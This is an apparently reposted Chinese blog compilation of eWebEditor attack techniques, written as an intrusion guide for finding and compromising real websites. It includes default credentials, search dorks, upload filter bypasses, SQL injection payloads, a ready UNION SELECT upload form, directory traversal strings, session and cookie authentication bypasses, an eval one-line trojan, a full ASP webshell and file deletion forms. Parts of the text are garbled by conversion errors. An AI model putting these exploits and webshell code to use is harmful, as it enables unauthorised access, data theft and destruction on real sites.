Ewebeditor最新漏洞及漏洞大全

weixin_34262482發表於2014-10-09

Ewebeditor最新漏洞及漏洞大全[收集]

來源:轉載作者:佚名時間:2009-06-03 00:04:26

下面文章收集轉載於網路:) 算是比較全面的ewebeditor編輯器的漏洞收集,如今的站點大多數用的都是ewebeditor編輯器,

所以ewebeditor漏洞的危害性還是相當大的,做了一下漏洞收集,漏洞修補的方法可去網上查詢。

漏洞更新日期TM 2009 2 9轉自zake’S Blog
        ewebeditor
最新漏洞。這個程式爆漏洞一般都是直接上傳的漏洞,首先在本地搭建一個ASP環境重新命名一個木馬名字比如:1.gif.asp這種就OK
那麼接下來完美本地搭建一個環境你能夠用WEB小工具搭建一個,目的就是讓遠端上傳。http://127.0.0.1/1.gif.asp搭建好了,在官方的地方執行網路地址然後確定以後,

 這裡是最關鍵的一部!


 這裡點了遠端上傳以後,再提交得到木馬地址

因為官方在圖片資料夾做了限制導致不能執行ASP指令碼而沒能拿到WEB許可權。
屬於安全檢測漏洞版本號ewebeditor v6.0.0

曾經的ewebeditor漏洞:

ewebeditor注入漏洞

大家都知道ewebeditor編輯器預設的資料庫路徑db/ewebeditor.mdb
預設後臺地址是admin_login.asp,另外存在遍歷資料夾漏洞,假設是asp字尾的資料庫還能夠寫入一句話
今天我給大家帶來的也是ewebeditor編輯器的入侵方法
只是一種是注入,一種是利用upload.asp檔案,本地構造
NO1
:注入
http://www.XXX.com/ewebeditor2007/ewebeditor.asp?id=article_content
&style=full_v200
編輯器ewebedior7曾經版本號通通存在注入
直接檢測不行的,要寫入特徵字元
我們的工具是不知道ewebeditor的表名的還有列名
我們自己去看看
哎。。先表吧
要先加入�進庫
開始猜賬號password了
我們==
心急的往後拉
出來了
[sys_username]:bfb18022a99849f5 chaoup[sys_userpass]:0ed08394302f7d5d 851120
對吧^_^
後面不說了
NO2
:利用upload.asp檔案,本地構造上傳shell
大家看這裡
http://www.siqinci.com/ewebeditor2007/admin_style.asp?action=stylepreview
&id=37
假設遇見這種情況又無法加入�工具欄是不是非常鬱悶
如今不鬱悶了,^_^源源不一般
我們記錄下他的樣式名“aaa”
我已經吧upload.asp檔案拿出來了
我們構造下
OK
,我之前已經構造好了
事實上就是這裡
<form action=”
地址/path/upload.asp?action=save&type=&style=樣式名” method=post name=myformenctype=”multipart/form-data”>
<input type=file name=uploadfile size=1 style=”width:100%”>
<input type=submit value=”
上傳了”></input>
</form>
以下我們執行他上傳個大馬算了
UploadFile
上傳進去的在這個資料夾下
2008102018020762.asa

過往漏洞:

首先介紹編輯器的一些預設特徵:
預設登陸admin_login.asp
預設資料庫db/ewebeditor.mdb
預設帳號admin passwordadminadmin888
搜尋keyword:”inurl:ewebeditor”keyword十分重要
有人搜尋”eWebEditor -eWebSoft線上編輯器
根本搜尋不到幾個~
baidu.google
搜尋inurl:ewebeditor
幾萬的站起碼有幾千個是具有預設特徵的~
那麼試一下預設後臺
http://www.xxx.com.cn/admin/ewebeditor/admin_login.asp

試預設帳號password登陸。
利用eWebEditor獲得WebShell的步驟大致例如以下:
1
.確定站點使用了eWebEditor。一般來說,我們僅僅要注意發表帖子(文章)的頁面是否有類似做了記號的圖示,就能夠大致做出推斷了。
2
.檢視原始碼,找到eWebEditor的路徑。點選檢視原始碼,看看原始碼中是否存在類似“<iframe ID=’eWebEditor1′ src=’/edit/ewebeditor.asp?id=content&style=web’frameborder=0 scrolling=no width=’550′ HEIGHT=’350′></iframe>”的語句。事實上僅僅有發現了存在這種語句了,才幹夠真正確定這個站點使用了eWebEditor。然後記下src=’***’中的“***”,這就是eWebEditor路徑。
3
.訪問eWebEditor的管理登入頁面。eWebEditor的預設管理頁面為admin_login.asp,和ewebeditor.asp在同一資料夾下。以上面的路徑為例,我們訪問的地址為:http://www.***.net/edit/admin_login.asp,看看是否出現了登入頁面。
假設沒有看到這種頁面,說明管理員已經刪除了管理登入頁面,呵呵,還等什麼,走人啊,換個地方試試。只是一般來說,我非常少看到有哪個管理員刪了這個頁面,試試預設的username:admin,password:admin888。怎麼樣?成功了吧(不是預設賬戶請看後文)!
4
.新增�上傳檔案型別。點選樣式管理,隨便選擇列表中底下的某一個樣式的設定,為什麼要選擇列表中底下的樣式?由於eWebEditor自帶的樣式是不同意改動的,當然你也能夠拷貝一個新的樣式來設定。
然後在上傳的檔案型別中新增�“asa”型別。
5
.上傳ASP木馬,獲得WebShell。接下來將ASP木馬的副檔名改動為asa,就能夠簡單上傳你的ASP木馬了。不要問我怎麼上傳啊,看到預覽 了嗎?點選預覽,然後選擇插入其他檔案的button就能夠了。
漏洞原理
漏洞的利用原理非常easy,請看Upload.asp檔案:
不論什麼情況下都不同意上傳asp指令碼檔案
sAllowExt = Replace(UCase(sAllowExt), “ASP”, “”)
由於eWebEditor只過濾了ASP檔案。記得我第一次使用eWebEditor時就在納悶:既然作者已經知道asp檔案須要過濾,為什麼不同一時候過濾asacer等檔案呢?或許這就是對免費使用者不負責任的表現吧!
高階應用
eWebEditor
的漏洞利用另一些技巧:
1
.使用預設username和password無法登入。
請試試直接下載db資料夾下的ewebeditor.mdb檔案,username和password在eWebEditor_System表中,經過了md5加密,假設無法下載或者無法破解,那就當自己的運氣不好了。
2
.加了asa型別後發現還是無法上傳。
應該是站長懂點程式碼,自己改動了Upload.asp檔案,可是沒有關係,依照常人的思維習慣,往往會直接在sAllowExt = Replace(UCase(sAllowExt),“ASP”, “”)一句上改動,我就看見過一個站長是這樣改動的:
sAllowExt = Replace(Replace(Replace(Replace(Replace(UCase(sAllowExt), “ASP”,“”), “CER”, “”), “ASA”, “”), “CDX”, “”), “HTR”, “”)
猛一看什麼都過濾了,可是我們僅僅要在上傳型別中新增�“aaspsp”,就能夠直接上傳asp檔案了。呵呵,是不是天才的想法?“aaspsp”過濾了“asp”字元後,反而變成了“asp”!順便告訴大家一個祕密,事實上動網論壇7.0 sp2中也能夠利用類似的方法繞過對副檔名的過濾。
3
.上傳了asp檔案後,卻發現該資料夾沒有執行指令碼的許可權。
呵呵,真是好笨啊,上傳型別能夠改,上傳路徑不是也能夠改動的嗎?細緻看看圖四。
4
.已經使用了第2點中的方法,可是asp型別還是無法上傳。
看來站長肯定是一個寫asp的高手,可是我們還有最後一招來對付他:看到圖三中的遠端型別了嗎?eWebEditor可以設定自己主動儲存遠端檔案的型別,我們可以添�asp型別。可是怎樣才幹讓遠端訪問的asp檔案可以以原始碼形式儲存呢?方法是非常多的,最簡單的方法是將IIS中的應用檔案對映中的“asp”刪除。
後記
依據自己的經驗,差點兒僅僅要能進入eWebEditor的後臺管理,基本上都可以獲得WebShell。在Google上搜尋“ewebeditor.asp?id=”可以看到長達十多頁的相關資訊,我大致抽查了當中幾個,發現成功率約為50%。還不錯吧?oblg 2.52版曾經的版本號也是使用eWebEditor,能夠去搜尋幾個來練練手。要命的是eWebEditor的官方站點和幫助檔案里根本沒有這方面的安全提示。還有,我發現官方提供的測試系統並不存在類似的漏洞,看來不是他們不知道,而是沒有把免費使用者的網路安危放在心上!

 

 

 

 

eWebEditor=>2.8 商業版後臺一句話木馬利用

登陸後臺,點選改動password---新password設定為 1":evalrequest("a")

設定成功後,訪問asp/config.asp檔案就可以,一句話木馬被寫入到這個檔案中面了.  

 

 

 

 

ewebeditor漏洞利用總結

     先從最主要的記錄起!通常入侵ewebeditor編輯器的過程例如以下:

1、首先訪問預設管理頁看是否存在。

       預設管理頁地址2.80曾經為 ewebeditor/admin_login.asp 以後版本號為admin/login.asp (各種語言的大家自己改字尾,本文就以asp來進行說明,以下不再細說了!)

2、預設管理帳號password!

       預設管理頁存在!我們就用帳號password登陸!預設帳號password為: admin admin888 !經常使用的password還有admin admin999 admin1 admin000 之類的。

3、預設資料庫地址。

       假設password不是預設的。我們就訪問是不是預設資料庫!嘗試下載資料庫得到管理員password!管理員的帳號password,都在eWebEditor_System表段裡,sys_UserName Sys_UserPass 都是md5加密的。得到了加密password。能夠去www.cmd5.com www.xmd5.org 等站點進行查詢!暴力這活好久不幹了!也能夠丟國外一些能夠跑password的站點去跑!

       預設資料庫路徑為:ewebeditor/db/ewebeditor.mdb 經常使用資料庫路徑為:ewebeditor/db/ewebeditor.asa ewebeditor/db/ewebeditor.aspewebeditor/db/#ewebeditor.asa ewebeditor/db/#ewebeditor.mdbewebeditor/db/!@#ewebeditor.asp ewebeditor/db/ewebeditor1033.mdb

       非常多管理員常改.asp字尾,一般訪問.asp .asa 字尾的都是亂碼!能夠用下載工具下載下來,然後更改字尾為.mdb 來檢視內容!

4、說說漏洞基本利用步驟,還以asp為例!

       登陸後臺以後。選擇樣式管理,預設編輯器的預設樣式都不能夠改動的。我們能夠從隨意樣式新建一個樣式,然後在圖片上傳加入�可上傳字尾。.asa .cer .cdx 等!.asp 過濾過了。可是我們能夠用.asaspp字尾來加入�,這樣上傳檔案正好被ewebeditor 吃掉asp字尾,剩下.asp 呵呵!程式碼不具體說了。總之是個非常可笑的過濾!相同,假設遇到一個管理員有安全意識的,從程式碼裡,把.asp .asa .cer .cdx 都全然禁止了,我們也能夠用.asasaa 字尾來突破。加入�完了字尾,能夠在樣式管理,點選預覽,然後上傳!

5、預設管理頁不存在!

       在實際入侵過程中,有非常多預設的管理頁不存在的時候。我們能夠直接訪問樣式管理頁面 ewebeditor/admin_style.asp 然後用第4步的方式拿webshell。假設樣式管理頁也不存在的話,我們能夠看資料庫內的樣式表(ewebeditor_style)裡面有沒有比我們先進去的朋友留下的樣式。然後構造上傳!詳細url例如以下:eWebEditor/ewebeditor.asp?id=content&style=www 紅色部分是我們發現被改動加入�了asa字尾的樣式名,大家自行改動!

6ewebeditor的幾個版本號存在注入!

       ewebeditor 曾經版本號都存在注入 ewebeditor/ewebeditor.asp?id=article_content&style=Full_v200 !

加入�驗證字串,和管理員欄位能夠跑出管理員的md5加密password!

      ewebeditor v2.1.6存在注入,能夠用union select 加入�上傳字尾進行上傳!先貼漏洞利用方式!

--------------------------------------------------------------------------------------------------------------

<H3>ewebeditor asp 2.1.6上傳漏洞利用程式----</H3><br><br>

<form action="http://www.xxx.com/ewebeditor/upload.asp?action=save&type=IMAGE&style=standard'unionselectS_ID,S_Name,S_Dir,S_CSS,S_UploadDir,S_Width,S_Height,S_Memo,S_IsSys,S_FileExt,S_FlashExt,[S_ImageExt]%2b'|cer',S_MediaExt,S_FileSize,S_FlashSize,S_ImageSize,S_MediaSize,S_StateFlag,S_DetectFromWord,S_InitMode,S_BaseUrlfrom ewebeditor_style where s_name='standard'and'a'='a" method=postname=myform enctype="multipart/form-data">

<input type=file name=uploadfilesize=100><br><br>

<input type=submit value=Fuck>

</form>

--------------------------------------------------------------------------------------------------------------

       以上程式碼令存為html!改動紅色部分的路徑,然後自己主動上傳 .cer 檔案!漏洞原因是由於sStyleName變數直接從style中讀取,並沒有過濾,所以能夠包括隨意字元!用selectewebeditor_style表中查詢s_namesStyleName的記錄,找不到就提示出錯!在sStyleName變數中用union來構造記錄,我們能夠在sAllowExt中添�"|cer""|asa"等!

       另外另一些版本號的ewebeditorupload.asp檔案存在注入漏洞!貼幾個注入用的url!資訊錯誤則返回指令碼出錯的提示,在瀏覽器左下角!詳細利用例如以下:

ewebeditor/Upload.asp?type=FILE&style=standard_coolblue1'and%20(select%20top%201%20asc(mid(sys_userpass,15,1))%20from%20ewebeditor_system%20)>98%20and%20'1'='1

注意改動紅色部分的欄位名、位數、ascii碼的值!

7、資料夾遍歷漏洞!

       這裡大概說一下!資料夾遍歷漏洞基本存在於ewebeditor/admin_uploadfile.asp 高版本號的是ewebeditor/admin/upload.asp 檔案!這個檔案有的不須要登陸驗證,有些須要!非常多有經驗的管理員會把編輯器的資料夾設定為僅僅讀許可權,不可改動!這樣的情況下,唯一能夠利用的也就是利用遍歷資料夾功能檢視站點檔案,比方資料庫路徑、後臺地址、其它的上傳地址、最直觀的就是別人留下的小馬等等!這些都自由發揮了!說下漏洞利用方法!

       漏洞利用方式例如以下:在上傳檔案管理頁面隨便選擇一個上傳樣式!比方ewebeditor/admin_uploadfile.asp?id=14 id後面加入�&dir=../..

類似例如以下:webeditor/admin_uploadfile.asp?id=14&dir=../../../../data/能夠看到站點資料庫的路徑!

      另外一個遍歷資料夾的漏洞檔案是ewebeditor/asp/browse.asp

漏洞程式碼為:

Function GetList()

Dim s_List, s_Url

s_List = ""

Dim oFSO, oUploadFolder, oUploadFiles,oUploadFile, sFileName

'Response.Write sCurrDir

'On Error Resume Next

Set oFSO =Server.CreateObject("Scripting.FileSystemObject")

Set oUploadFolder =oFSO.GetFolder(Server.MapPath(sCurrDir))

'注意一下sCurrDir變數,這個值等下我們能夠用到

If Err.Number>0 Then

s_List = ""

Exit Function

End If

 

If sDir <> "" Then

If InstrRev(sDir, "/") > 1Then

s_Url= Left(sDir, InstrRev(sDir,"/") - 1)

Else

s_Url = ""

End If

 

s_List = s_List & "" & _

"" & _

".." & _

" " & _

""

End If

'Response.WritesDir&"!"&s_List

 

Dim oSubFolder

For Each oSubFolder InoUploadFolder.SubFolders

'Response.Write oUploadFolder.SubFolders

If sDir = "" Then

s_Url = oSubFolder.Name

Else

s_Url = sDir & "/" &oSubFolder.Name

End If

s_List = s_List & "" & _

"" & _

"" & oSubFolder.Name &"" & _

" " & _

""

Next

'Response.Write s_List

 

Set oUploadFiles = oUploadFolder.Files

 

For Each oUploadFile In oUploadFiles

'Response.Write oUploadFile.Name

sFileName = oUploadFile.Name

If CheckValidExt(sFileName) = True Then

'這行讓人有點鬱悶,檢測了全部同意的檔案字尾,如不同意就無法列出,不然就不僅僅列出資料夾名和圖片檔案了

If sDir = "" Then

s_Url = sContentPath & sFileName

Else

s_Url = sContentPath & sDir &"/" & sFileName

End If

 

s_List = s_List & "" & _

"" & FileName2Pic(sFileName)& "" & _

"" & sFileName &"" & _

"" &GetSizeUnit(oUploadFile.size) & "" & _

""

End If

Next

Set oUploadFolder = Nothing

Set oUploadFiles = Nothing

'Response.Write Server.HTMLEncode(s_List)&"!"&s_Url

 

If sDir = "" Then

s_Url = ""

's_Url = "/"

Else

s_Url = "/" & sDir &""

's_Url = "/" & sDir &"/"

End If

 

s_List = s_List & ""

s_List = HTML2JS(s_List)

'Response.WriteServer.HTMLEncode(s_List)&"!"&s_Url

s_List = "parent.setDirList("""& s_List & """, """ & s_Url &""")"

GetList = s_List

End Function

'假設沒有以下這步檢測的話,應該就能夠列出資料夾中全部的檔案了,有點鬱悶..如今僅僅能列出同意字尾的檔案和資料夾名

Function CheckValidExt(s_FileName)

If sAllowExt = "" Then

CheckValidExt = True

Exit Function

End If

 

Dim i, aExt, sExt

sExt = LCase(Mid(s_FileName,InStrRev(s_FileName, ".") + 1))

CheckValidExt = False

aExt = Split(LCase(sAllowExt), "|")

For i = 0 To UBound(aExt)

If aExt(i) = sExt Then

CheckValidExt = True

Exit Function

End If

Next

End Function

'我們順著程式碼往下找,發現sCurrDir的值是通過以下的值得到的

Sub InitParam()

sType =UCase(Trim(Request.QueryString("type")))

sStyleName =Trim(Request.QueryString("style"))

 

Dim i, aStyleConfig, bValidStyle

bValidStyle = False

For i = 1 To Ubound(aStyle)

aStyleConfig = Split(aStyle(i),"|||")

If Lcase(sStyleName) =Lcase(aStyleConfig(0)) Then

bValidStyle = True

Exit For

End If

Next

 

If bValidStyle = False Then

OutScript("alert('InvalidStyle.')")

End If

 

sBaseUrl = aStyleConfig(19)

'nAllowBrowse = CLng(aStyleConfig(43))

nAllowBrowse = 1

 

If nAllowBrowse <> 1 Then

OutScript("alert('Do not allowbrowse!')")

End If

 

sUploadDir = aStyleConfig(3)

If Left(sUploadDir, 1) <>"/" Then

Select Case sType

Case "REMOTE"

sUploadDir = "../../" &sUploadDir & "Image/"

Case "FILE"

sUploadDir = "../../" &sUploadDir & "Other/"

Case "MEDIA"

sUploadDir = "../../" &sUploadDir & "Media/"

Case "FLASH"

sUploadDir = "../../" &sUploadDir & "Flash/"

Case Else

sUploadDir = "../../" &sUploadDir & "Image/"

End Select

End If

'sUploadDir =sUploadDir &"/"

 

Select Case sBaseUrl

Case "0"

'sContentPath = aStyleConfig(23)

Select Case sType

Case "REMOTE"

sContentPath = "../" &aStyleConfig(3) & "Image/"

Case "FILE"

sContentPath = "../" &aStyleConfig(3) & "Other/"

Case "MEDIA"

sContentPath = "../" &aStyleConfig(3) & "Media/"

Case "FLASH"

sContentPath = "../" &aStyleConfig(3) & "Flash/"

Case Else

sContentPath = "../" &aStyleConfig(3) & "Image/"

End Select

Case "1"

sContentPath =RelativePath2RootPath(sUploadDir)

Case "2"

sContentPath =RootPath2DomainPath(RelativePath2RootPath(sUploadDir))

End Select

 

Select Case sType

Case "REMOTE"

sAllowExt = aStyleConfig(10)

Case "FILE"

sAllowExt = aStyleConfig(6)

Case "MEDIA"

sAllowExt = aStyleConfig(9)

Case "FLASH"

sAllowExt = aStyleConfig(7)

Case Else

sAllowExt = aStyleConfig(8)

End Select

 

sCurrDir = sUploadDir '注意這裡,這個是得到了配置的路徑地址

sDir = Trim(Request("dir")) '得到dir變數

sDir = Replace(sDir, "\","/") 'dir變數進行過濾

sDir = Replace(sDir, "../","")

sDir = Replace(sDir, "./","")

If sDir <> "" Then

If CheckValidDir(Server.Mappath(sUploadDir& sDir)) = True Then

sCurrDir = sUploadDir & sDir &"/"

'重點就在這裡了,看到沒有,sUploadDir & sDir存在的時候,sCurrDir就為sUploadDir & sDir的值了

'儘管上面對sDir進行了過濾,只是我們全然能夠跳過.詳細利用以下的利用中給出

Else

sDir = ""

End If

End If

End Sub

利用方式例如以下:

http://site/ewebeditor/asp/browse.asp?style=standard650&dir=…././/…././/admin

這樣子就能夠看到admin的內容了。構造特殊的dir繞過上面的驗證!頁面空白的時候檢視原始碼,就能夠看到資料夾列表了!

8session欺騙漏洞!

       適用於一些設定不當的虛擬主機。當旁註得到一個webshell,而目標站存在ewebeditor卻不能找到password的時候能夠嘗試欺騙進入後臺!順序例如以下:

         新建一個.asp檔案,內容例如以下:<%Session("eWebEditor_User") = "123132323"%> 然後訪問這個檔案,再訪問ewebeditor/admin_default.asp!欺騙進入後臺!只是非常老了!

9、後臺跳過認證漏洞!

       訪問後臺登陸頁面!隨便輸入帳號password,返回錯誤!然後清空瀏覽器,在位址列輸入

javascript:alert(document.cookie="adminuser="+escape("admin"));

javascript:alert(document.cookie="adminpass="+escape("admin"));

javascript:alert(document.cookie="admindj="+escape("1"));

        然後再清空位址列,在路徑裡輸入後臺登陸後的頁面,比方: admin_default.asp admin/default.asp 等。直接進入後臺,利用方式見上文!

10、利用遠端上傳功能!

       比方s_full樣式就存在這個功能,開啟編輯頁面,然後圖片,選擇輸入url 比方:http://site.com/1.gif.asp ! 然後選擇上傳遠端檔案!自己主動就把1.gif.asp 儲存在上傳資料夾內!注:網上的東西大部分傳來傳去,這個辦法愚弄自己還成!檔案的確顯示字尾為.asp可是不能訪問,由於收集過來的時候自己主動截止在1.gif了所以後面的.asp等於沒有!並且gif的內容就是我們這個url的路徑!呵呵,後來又看到一個利用方式!是利用遠端蒐集的時候執行,我們檔案的程式碼生成另外的小馬!

       利用程式碼例如以下:

首先建立1.gif.asp 程式碼例如以下

<%

Set fs =CreateObject("Scripting.FileSystemObject")

SetMyTextStream=fs.OpenTextFile(server.MapPath("\akteam.asp"),1,false,0)

Thetext=MyTextStream.ReadAll

response.write thetext

%>

在我們的1.gif.asp的同資料夾下建立一個akteam.asp檔案,內容就是我們的小馬:

<%on error resume next%>

<%ofso="scripting.filesystemobject"%>

<%set fso=server.createobject(ofso)%>

<%path=request("path")%>

<%if path<>"" then%>

<%data=request("dama")%>

<%setdama=fso.createtextfile(path,true)%>

<%dama.write data%>

<%if err=0 then%>

<%="success"%>

<%else%>

<%="false"%>

<%end if%>

<%err.clear%>

<%end if%>

<%dama.close%>

<%set dama=nothing%>

<%set fos=nothing%>

<%="<form action=''method=post>"%>

<%="<input type=textname=path>"%>

<%="<br>"%>

<%=server.mappath(request.servervariables("script_name"))%>

<%="<br>"%>

<%=""%>

<%="<textarea name=dama cols=50rows=10 width=30></textarea>"%>

<%="<br>"%>

<%="<input type=submitvalue=save>"%>

<%="</form>"%>

利用上面說的遠端上傳的方式!能夠得到webshell!成功率取決於,虛擬主機的安全設定!

11、隨意檔案刪除漏洞!

       此漏洞存在於Example\NewsSystem資料夾下的delete.asp檔案裡,這是ewebeditor的測試頁面,無須登陸能夠直接進入!看程式碼

' 把帶"|"的字串轉為陣列

Dim aSavePathFileName

aSavePathFileName = Split(sSavePathFileName, "|")

' 刪除新聞相關的檔案,從目錄中

Dim i

For i = 0 To UBound(aSavePathFileName)

' 按路徑檔名稱刪除檔案

Call DoDelFile(aSavePathFileName(i))

Next

aSavePathFileName是前面從資料庫取出來的:

sSavePathFileName =oRs("D_SavePathFileName")

看看D_SavePathFileName是怎麼加入�到資料庫裡的,在addsave.asp(modifysave.asp)裡:sSavePathFileName =GetSafeStr(Request.Form("d_savepathfilename"))

...

oRs("D_SavePathFileName") =sSavePathFileName

 

竟然過濾了,是GetSafeStr函式,再看看這個函式,在Startup.asp裡:

Function GetSafeStr(str)

GetSafeStr =Replace(Replace(Replace(Trim(str), "'", ""), Chr(34),""), ";", "")

End Function

       既然路徑沒有過濾,那就能夠直接定義了,構造一個提交頁面,當中d_savepathfilename自己隨意賦值(要刪除多個檔案,用|隔開就可以)。試試../../eWebEditor.asp,提交後刪除該新聞,於是主資料夾下的eWebEditor.asp不見了!漏洞利用:

<HTML><HEAD><TITLE>eWebEditor刪除檔案 byldjun(>

新聞列表%20|%20新增�新聞

新增�新聞

http://127.0.0.1/editor/Example/NewsSystem/addsave.asp"

method="post"name="myform">

   <input type=hidden name=d_originalfilename>

   <input type=hidden name=d_savefilename>

   <table cellspacing=3 align=center>

<tr><td>要刪的檔案(相對路徑就能夠了)</td>

<td><input type="text"name="d_savepathfilename" value=""size="90"></td>

</tr>

<tr><td>新聞標題(隨便填)</td>

<td><input type="text"name="d_title" value="" size="90"></td>

</tr>

<tr><td>標題圖片:</td>

<td><selectname="d_picture" size=1><option value=''></option></select>

當編輯區有插入圖片時,將自己主動填充此下拉框</td>

</tr>

<tr><td>新聞內容(隨便填)</td>

<td><textareaname="d_content"></textarea></td>

</tr>

</table>

<input type=submit name=btnSubmitvalue=" 提交 ">

<input type=reset name=btnResetvalue=" 重填 ">

</form>

</BODY></HTML>

刪除檔案漏洞通常是配合其它漏洞使用的,比方資料夾遍歷

<a href='list.asp'>中的list.asp地址要改動

<a href='add.asp'>中的add.asp地址要改動

<formaction="http://127.0.0.1/editor/Example/NewsSystem/addsave.asp"

(http://127.0.0.1/editor/Example/NewsSystem/addsave.asp地址要改動)

       另外一個簡單利用方式:

<formaction="http://www.xxxbing.com/editor/example/newssystem/addsave.asp"method="post">

<input type=hiddenname=d_originalfilename value="x">

<input type=hidden name=d_savefilenamevalue="x">

要刪除的檔案(相對路徑,多個檔案用“|”隔開)<br>

<input type=textname=d_savepathfilename>

<input type=hiddenname="d_title" value="x">

<input type=hiddenname="d_picture" value="x">

<textareaname="d_content">x</textarea>

<input type=submit name=btnSubmitvalue="submit">

</form>

 

然後得到返回的新聞ID再提交:http://www.XXXXX.com/editor/example/newssystem/delete.asp?id=[id]

       有幾個版本號的ewebeditor上傳型別是在security.asp 檔案控制的!直接刪除該檔案能夠上傳隨意webshell

12、其它!

       其它說點什麼呢!以上的辦法都是本人經驗和網上搜集!臨時就想到這些了,以後想到了再補全!說說aspxphp jsp版本號的利用吧!

ASPX版:

受影響檔案:eWebEditorNet/upload.aspx

利用方法:添好本地的cerShell檔案。在瀏覽器位址列輸入javascript:lbtnUpload.click();就能得到shell。嘿嘿....繞過了限制......成功的上傳了ASPX檔案....檔案預設的上傳後儲存的地址是eWebEditorNet/UploadFile/如今來看看是否上傳成功.....

PHP版本號:PhP版本號和asp版本號利用方式類似!只是php許可權較高,不多廢話了!

jsp版本號:網上有非常多jsp的版本號,根本沒有對上傳檔案型別進行檢測!須要注意的是jsp版本號的沒有上傳button!直接選擇檔案,回車就能夠提交了!

 

 

安指令碼分主要有4個版本號,ASP/ASPX/PHP/JSP 每一個版本號都有能夠利用的漏洞。

 

安全漏洞

管理員未對編輯器的資料庫路徑和名稱進行改動,導致能夠利用編輯器預設路徑直接對站點資料庫進行下載。

管理員未對編輯器的使用者登入路徑進行改動,導致黑客能夠利用站點資料庫所獲得的username和password直接登陸編輯器管理後臺。

 

ASP

重要檔案的名稱和路徑

Admin_login.asp

Admin_default.asp

Admin_style.asp

Admin_uploadfile.asp

Upload.asp

Admin_modipwd.asp

eWebEditor.asp

db/ewebeditor.mdb

 

一般用這個的預設後臺的URL都是預設的

www.***.com/admin/ewebeditor/login_admin.asp

www.***.com/ewebeditor/login_admin.asp

www.***.com/admin/eweb/login_admin.asp

www.***.com/admin/editor/login_admin.asp

 

下載資料庫

還有假設預設的賬戶和password改動了,我們能夠下載他們的資料庫,然後本地破解MD5

預設資料庫…/db/ewebeditor.mdb  或者。../db/ewebeditor.asp

 

登入後臺後,點選樣式管理,隨便選擇一個樣式,自帶的樣式不能改動的。

拷貝一個樣式,在其他型別中新增�,asa型別,接下來把免殺的asp木馬的字尾名改成asa,返回管理首頁,點選預覽,然後選擇插入其他檔案的button進行asp木馬的上傳,上傳的ASP木馬就在,UploadFILE目錄裡。

 

假設加了asa型別後發現還是無法上傳。應該是站長懂點程式碼,自己改動了Upload.asp檔案,可是沒有關係,依照常人的思維習慣,往往直接在sAllowExt =Replace(UCase(sAllowExt),”asp”,””)一句上改動。

可是我們僅僅要在上傳型別中新增�“aaspsp,就能夠傳asp檔案了,

假設上述兩種方法都失敗了,則利用eWebEditor可以設定自己主動儲存遠端檔案的型別,我們可以添�asp型別。可是怎樣才幹讓遠端訪問的asp檔案可以以原始碼形式儲存呢?方法是非常多的,最簡單的方法是將IIS中的應用檔案對映中的ASP刪除。

有的站資料庫設定了僅僅讀屬性,這種站你是無法新加樣式的,這種站你能夠看他資料庫裡的樣式設定情況,一般非常多時候都是讓人給拿過的,並且明顯的asa在那裡。這種話就能夠直接構造一個呼叫這個樣式的連線來上傳shell.

比方發現資料庫裡有樣式123他設定的是能夠上傳asa的話,那麼就能夠這樣呼叫:http://www.***.com/eweb/ewebeditor.asp?id=contentCN&style=123

這樣就能夠直接上傳了,然後在點編輯就會找到shell的路徑了。事實上這個漏洞主要是upload.asp的過濾不嚴造成的,新版的應該都修復了,詳細愛影響的版本號我也沒統計過。

遍歷路徑

Ewebeditor遍歷路徑漏洞,當資料庫僅僅讀的時候,ewebeditor/admin_uploadfile.asp?id=14id=14後面加入�&dir=再加&dir=/&dir=http://www.****.com// 看到整個站點檔案了,只是此項測試的時候發現,僅僅有登入成功才幹進行操作。

Cookie漏洞

漏洞檔案:admin_private.asp

漏洞語句:

<% if session (“eWebEditor_User”) = “”Then

Response.Redirect “admin_login.asp”

Response.End

End If

僅僅推斷了session,沒有推斷cookies和路徑的驗證問題。

漏洞利用:

新建一個mrchen.asp內容例如以下:

<%Session (“eWebEditor_User”) =”11111111”%>

訪問mrchen.asp,再訪問後臺不論什麼檔案,forexample:Admin_Default.asp這個拿shell的方法就簡單了。

相關文章